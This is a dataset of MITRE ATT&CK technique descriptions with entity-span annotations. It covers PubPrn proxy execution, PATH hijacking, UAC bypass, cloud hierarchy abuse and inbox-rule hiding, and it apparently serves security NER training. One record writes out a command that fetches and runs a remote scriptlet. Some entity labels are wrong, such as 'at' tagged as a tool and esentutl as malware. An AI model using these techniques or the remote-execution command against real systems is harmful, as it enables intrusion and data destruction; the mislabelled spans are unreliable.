"SYSTEM: HTTP": [[1115, 1119], [1120, 1124]], "SYSTEM: Oracle": [[1185, 1191]], "SYSTEM: MySQL": [[1205, 1210]], "TOOL: VNC": [[1224, 1227]], "SYSTEM: SNMP": [[1241, 1245]], "SYSTEM: Office 365": [[1487, 1497]], "SYSTEM: Windows": [[1779, 1786]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1110.001"}}
{"text": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).", "spans": {"SYSTEM: Visual Basic": [[89, 101]], "SYSTEM: Active Directory": [[137, 153]], "ORGANIZATION: Microsoft": [[199, 208]], "SYSTEM: Windows": [[246, 253], [936, 943]], "SYSTEM: LDAP": [[409, 413], [1123, 1127]], "IP_ADDRESS: 127.0.0.1": [[713, 722]], "URL: https://mydomain.com/folder/file.sct": [[730, 766]], "SYSTEM: HTTP": [[1226, 1230]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1216.001"}}
{"text": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1597.002"}}
{"text": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003"}}
{"text": "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows Native API which is called from functions like `LoadLibrary` at run time.", "spans": {"SYSTEM: API": [[223, 226]], "SYSTEM: Native API": [[244, 254], [1042, 1052]], "SYSTEM: Linux": [[573, 578]], "SYSTEM: macOS": [[581, 586], [757, 762]], "SYSTEM: Windows": [[830, 837], [1034, 1041]], "TOOL: at": [[1103, 1105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1129"}}
{"text": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1602"}}
{"text": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table. The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using Network Device CLI commands such as `format`.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.", "spans": {"SYSTEM: MBR": [[374, 377]], "SYSTEM: SMB": [[1185, 1188]], "SYSTEM: Windows": [[1189, 1196]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1561.002"}}
{"text": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1498.001"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.", "spans": {"SYSTEM: Windows": [[613, 620]], "FILEPATH: C:\\example": [[684, 694], [842, 852]], "FILEPATH: C:\\Windows\\system32\\net.exe`": [[729, 757]], "TOOL: at": [[920, 922]], "FILEPATH: C:\\Windows\\system32\\net.exe`.": [[924, 953]], "SYSTEM: macOS": [[1509, 1514]], "SYSTEM: Unix": [[1648, 1652]], "FILEPATH: /etc/paths.d`": [[1705, 1718]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.007"}}
{"text": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources", "spans": {"SYSTEM: SharePoint": [[29, 39], [93, 103], [374, 384]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1213.002"}}
{"text": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. \n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell. Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and esentutl) to create shadow copies or backups of data from system volumes.", "spans": {"SYSTEM: Windows": [[100, 107], [311, 318]], "TOOL: PowerShell": [[449, 459]], "TOOL: vssadmin": [[530, 538]], "MALWARE: esentutl": [[556, 564]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1006"}}
{"text": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. \n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.007"}}
{"text": "Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.  \n\nIaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.\n\nAdversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.\n\nIn AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.", "spans": {"SYSTEM: AWS": [[354, 357], [1066, 1069], [1225, 1228], [1481, 1484]], "SYSTEM: Azure": [[443, 448], [642, 647]], "SYSTEM: API": [[1177, 1180], [1434, 1437]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1666"}}
{"text": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> PowerShell cmdlets on Windows systems.\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to Internal Spearphishing emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. \n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions. Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).", "spans": {"TOOL: PowerShell": [[408, 418]], "SYSTEM: Windows": [[430, 437]], "ORGANIZATION: Microsoft": [[1357, 1366]], "SYSTEM: Exchange": [[1367, 1375]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.008"}}
{"text": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. External Defacement may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda. External Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as Drive-by Compromise.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1491.002"}}
{"text": "Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files. Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution). \n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.", "spans": {"TOOL: at": [[535, 537]], "SYSTEM: Word": [[1110, 1114]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.013"}}
{"text": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.005"}}
{"text": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods. With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1499.001"}}
{"text": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.  \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or System Firmware.  Rootkits have been seen for Windows, Linux, and Mac OS X systems.  \n\nRootkits that reside or modify boot sectors are known as Bootkits and specifically target the boot process of the operating system.", "spans": {"SYSTEM: API": [[251, 254]], "TOOL: at": [[350, 352]], "SYSTEM: Windows": [[485, 492]], "SYSTEM: Linux": [[494, 499]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1014"}}
{"text": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.\n\nPowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.  \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.  \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.", "spans": {"TOOL: PowerShell": [[100, 110], [123, 133], [197, 207], [282, 292], [407, 417], [444, 454], [464, 474], [714, 724], [779, 789], [977, 987]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.013"}}
{"text": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the Component Object Model and Internet Explorer HTML Application (HTA) pages.\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and AppleScript. Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a Drive-by Compromise or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of Obfuscated Files or Information.", "spans": {"SYSTEM: JavaScript": [[49, 59], [75, 85], [554, 564], [625, 635], [1282, 1292]], "TOOL: at": [[159, 161]], "SYSTEM: JScript": [[289, 296], [361, 368]], "ORGANIZATION: Microsoft": [[304, 313]], "SYSTEM: Windows": [[392, 399], [458, 465]], "SYSTEM: Component Object Model": [[478, 500]], "SYSTEM: Internet Explorer": [[505, 522]], "SYSTEM: macOS": [[591, 596]], "ORGANIZATION: Apple": [[657, 662], [734, 739], [875, 880]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.007"}}
{"text": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via DNS/Passive DNS. DNS information may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Active Scanning), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.", "spans": {"SYSTEM: DNS": [[54, 57], [93, 96], [278, 281], [536, 539], [548, 551], [553, 556], [1033, 1036], [1052, 1055], [1117, 1120]], "SYSTEM: Office 365": [[380, 390]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.002"}}
{"text": "Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within.  \n\nCloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time. If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. \n\nFor example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day. In addition to destroying data for purposes of extortion and Financial Theft, adversaries may also perform this action on buckets storing cloud logs for Indicator Removal.", "spans": {"TOOL: at": [[377, 379]], "SYSTEM: AWS": [[404, 407]], "SYSTEM: API": [[516, 519]], "SYSTEM: S3": [[559, 561]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1485.001"}}
{"text": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", "spans": {"SYSTEM: API": [[335, 338]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1123"}}
{"text": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. On macOS, launchd processes known as Launch Daemon and Launch Agent are run to finish system initialization and load user specific parameters. \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.", "spans": {"SYSTEM: Windows": [[223, 230]], "SYSTEM: Linux": [[235, 240]], "SYSTEM: macOS": [[297, 302]], "TOOL: at": [[530, 532]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1543"}}
{"text": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management and VNC can also be used externally.\n\nAccess to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.\n\nAdversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access. Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.", "spans": {"TOOL: Windows Remote Management": [[396, 421]], "TOOL: VNC": [[426, 429]], "SYSTEM: Access": [[460, 466], [666, 672], [772, 778]], "SYSTEM: Docker": [[921, 927]], "SYSTEM: API": [[928, 931], [944, 947]], "SYSTEM: Kubernetes": [[933, 943], [996, 1006]], "TOOL: Tor": [[1090, 1093], [1236, 1239], [1256, 1259], [1302, 1305]], "TOOL: RDP": [[1450, 1453]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1133"}}
{"text": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.", "spans": {"SYSTEM: macOS": [[277, 282]], "TOOL: at": [[881, 883]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.006"}}
{"text": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.\n\nThere are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser.\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.\n\nAfter an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.", "spans": {"SYSTEM: JavaScript": [[933, 943], [1038, 1048]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1539"}}
{"text": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks. An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.", "spans": {"SYSTEM: Kubernetes": [[102, 112], [480, 490]], "TOOL: at": [[243, 245]], "SYSTEM: Linux": [[298, 303]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053.007"}}
{"text": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.\n\nAdversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.", "spans": {"DOMAIN: istgmxdejdnxuyla.ru": [[496, 515]], "DOMAIN: cityjulydish.net": [[689, 705]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1568.002"}}
{"text": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies. \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", "spans": {"SYSTEM: Access": [[901, 907]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.007"}}
{"text": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box. An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.", "spans": {"SYSTEM: Windows": [[79, 86], [685, 692]], "SYSTEM: Component Object Model": [[750, 772], [944, 966]], "TOOL: Rundll32": [[871, 879]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.002"}}
